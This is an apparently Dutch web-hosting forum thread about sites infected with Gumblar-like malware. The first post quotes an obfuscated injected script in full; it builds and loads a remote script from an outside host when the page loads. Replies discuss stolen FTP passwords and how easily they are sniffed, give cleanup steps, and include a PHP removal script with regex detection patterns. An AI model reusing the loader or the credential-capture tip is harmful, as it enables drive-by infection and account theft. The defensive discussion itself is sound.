Een paar websites onder het beheer van een reseller van mij heeft enkele websites besmet met een javascript code.
Ik kan nergens iets vinden over dit script, zou het een nieuwe variant van Gumblar kunnen zijn?Code:<script>/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement('script');H3qqea3ur6p.setAttribute('type', 'text/javascript');H3qqea3ur6p.setAttribute('id', 'myscript1');H3qqea3ur6p.setAttribute('src', 'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) {}</script>
In de log files van de server staan ook geen vreemde dingen, de /tmp is clean en readonly
Als er iemand mij meer info kan geven dan graag..
Evenementen voor de komende 60 Dag(en)
Resultaten 1 tot 15 van de 31
Onderwerp: Gumblar virus?
-
30/11/09 16:38Gumblar virus?
- Ik gok gestolen ftp accounts, waarvan gebruikersnaam en wachtwoord in plain text in een config bestand van de ftp client waren opgeslagen.
Ftp wachtwoorden resetten, code verwijderen, en gebruikersnamen en wachtwoorden niet meer lokaal opslaan
-
30/11/09 17:05
-
30/11/09 21:08Ik heb nog een vraagje over die string..
Weet iemand hoe je uit alle bestanden deze string kunt verwijderen met een commando regel?
Het is een vrij lange string, de standaard commando's werken daar niet op.
-
-
30/11/09 21:31www.fusa.be2.002 Berichten18 Berichten zijn liked
Naam: Tim Bracquez
Bedrijf: FUSA
Functie: Koffiebediende
URL: www.fusa.be
Ondernemingsnummer: 0890 190 576
Klopt ze worden steeds slimmer, vroeger altijd ~ dezelfde scripts en/of iframes. Nu met wat verschillen telkens.
Je kan altijd zorgen wanneer klanten files uploaden dit eerst langs een virus scanner langsgaat (clamav detecteerd ook wel wat).
Zoizo via SSL werken, maar het is en zijn nog altijd de klanten en of je nu via SSL of plain text gaat werken. Achter die wachtwoorden komen ze toch client-side.
- klopt inderdaad, had van de week ook weer 1 klant met drie pakketten, al zijn sites besmet
leuk zo'n iframe
-
30/11/09 22:04Deze code stond toevallig helemaal onderaan in de bestanden, normaal staan ze bovenin.
Zojuist heb ik gevraagd welke ftp client hij gebruikte en dat wat total commander, volgens slaat total commander de wachtwoorden gecodeerd op.
Het is geloof ik wel overal hetzelfde stukje script wat er in staat.
-
- + FTP wachtwoorden op de client's computer achterhalen bij het maken van de verbinding is ook niet bepaald moeilijk...
- Klopt, gecodeerd opslaan zegt niks bij FTP. Ik heb hier zelf een programmatje liggen, als je bij de FTP server het adres veranderd naar iets lokaals, dan vangt dat programmatje de verbinding op als server zijnde, en TADAA: daar staat je wachtwoord.
Zo eenvoudig is het dus.
- Al niet eens nodig.. Elke eenvoudige netwerk sniffer is er voldoende voor.
- advertentie
- Daarom, genoeg opties dus...
Daarnaast kan een virus op de computer van de klant al voldoende zijn om bijv. alle .html bestanden te infecteren. De klant gaat zijn website uploaden, en dan staat het daar ook. Je weet het niet, belangrijkste is dat het zicht niet kan verspreiden binnen jou server, maar hooguit binnen het account van de klant.
Backupje erover en klaar is kees
-
01/12/09 06:03Het is overigens wel aan te bevelen om je klant even de pc te laten scannen op ongewenste background progjes. Als deze nog steeds actief zijn, dan hebben ze zo weer de nieuwe wachtwoorden te pakken.
Je kunt bijvoorbeeld MallwareBytes adviseren.
Juiste volgorde van opschonen zou zijn:
* klant op de hoogte brengen
* klant pc laten scannen met mallwarebytes en laten opruimen
* client-side laten controleren op iframe's in index files
* indien pc schoon, dan pas alle ftp wachtwoorden laten wijzigen
-
01/12/09 06:49Dit heeft die volgens mij allemaal gedaan.
Ik ben ook even aan het zoeken geweest en ik heb wel een script gevonden dat Gumblar verwijderd, ik post hem even mee in dit bericht.
Misschien dat iemand een tip kan geven hoe deze aan te passen is op de string die ik in mijn eerste post heb gezet.
Als dat kan dan zou die erg geholpen zijn omdat er meer dan 2000 bestanden aangetast zijn.
Hieronder het script om Gumblar te verwijderen:
PHP Code:<?php
set_time_limit(0);
$exclude_files = array(
$_SERVER['DOCUMENT_ROOT'] . '/' . 'scan_files.php',
);
$exclude_dirs = array(
$_SERVER['DOCUMENT_ROOT'] . '/' . 'stats',
);
$update = $_REQUEST["u"] == "1";
$verbose = $_REQUEST["v"] == "1";
function scan_files($dir) {
global $exclude_files, $exclude_dirs, $update, $verbose;
// regular expressions to search
$exp1 = "#\<\?php if\(!function_exists\('tmp_lkojfghx'\)\).*?tmp_lkojfghx2\(\); \?\>#";
$exp2 = "#<script language=javascript><!-- ?\n\(function\(.*?\){var .*?unescape\(.*?\);\n --></script>#";
$exp3 = "#<script language=javascript><!-- ?\n\(function\(.*?\){eval\(unescape\(.*?\);\n --></script>#";
$exp4 = "#<!-- ?\n\(function\(.*?\){var .*?unescape\(.*?\);\n -->#";
$exp5 = "#<!-- ?\n\(function\(.*?\){eval\(unescape\(.*?\);\n -->#";
$search = array(
$exp1,
$exp2,
$exp3,
$exp4,
$exp5,
);
$dirs_array = array();
if ($handle = opendir($dir)) {
echo "Open dir: " . $dir . "\n";
echo "Files:";
// this is the correct way to loop over the directory.
while (false !== ($file = readdir($handle))) {
if ($file != '.' && $file != '..') {
$path = $dir . $file;
if (is_file($path)) {
// skip large files
if (filesize($path) > 1000000) {
continue;
}
// exclude files
if (in_array($path, $exclude_files)) {
continue;
}
// exclude files
if (endsWith($file, '.bak')) {
continue;
}
if (endsWith($path, '/images/image.php') ||
endsWith($path, '/images/gifimg.php')) {
echo "\n===>" . $path . "\n";
if ($update) {
unlink($path);
}
continue;
}
// get content
$contents = file_get_contents($path);
$origContents = $contents;
// loop for search string
foreach ($search as $pattern) {
$contents = preg_replace($pattern, "", $contents);
}
if ($contents != $origContents) {
echo "\n===>" . $path;
echo "\n";
if ($update) {
if (!$file_handle = fopen($path . '.bak', 'w')) {
echo "Cannot open file ({$path}.bak)<br/>\n";
exit;
}
if (fwrite($file_handle, $origContents) === FALSE) {
echo "Cannot write to file ({$path}.bak)<br/>\n";
exit;
}
fclose($file_handle);
if (!$file_handle = fopen($path, 'w')) {
echo "Cannot open file ({$path})<br/>\n";
exit;
}
if (fwrite($file_handle, $contents) === FALSE) {
echo "Cannot write to file ({$path})<br/>\n";
exit;
}
fclose($file_handle);
}
elseif ($verbose) {
echo "**********\norigContents=$origContents\n";
echo "**********\ncontents=$contents\n";
}
}
} elseif (is_dir($path)) {
if (in_array($path, $exclude_dirs)) {
continue;
}
$dirs_array[] = $path;
}
}
}
closedir($handle);
}
foreach ($dirs_array as $dir) {
scan_files($dir . '/');
}
unset($dirs_array);
}
function endsWith($string, $ending) {
$len = strlen($ending);
$string_end = substr($string, strlen($string) - $len);
return $string_end == $ending;
}
$start_dir = $_SERVER['DOCUMENT_ROOT'] . '/';
echo 'Starting from: ' . $start_dir . "\n";
scan_files($start_dir);
?>



LinkBack URL
About LinkBacks

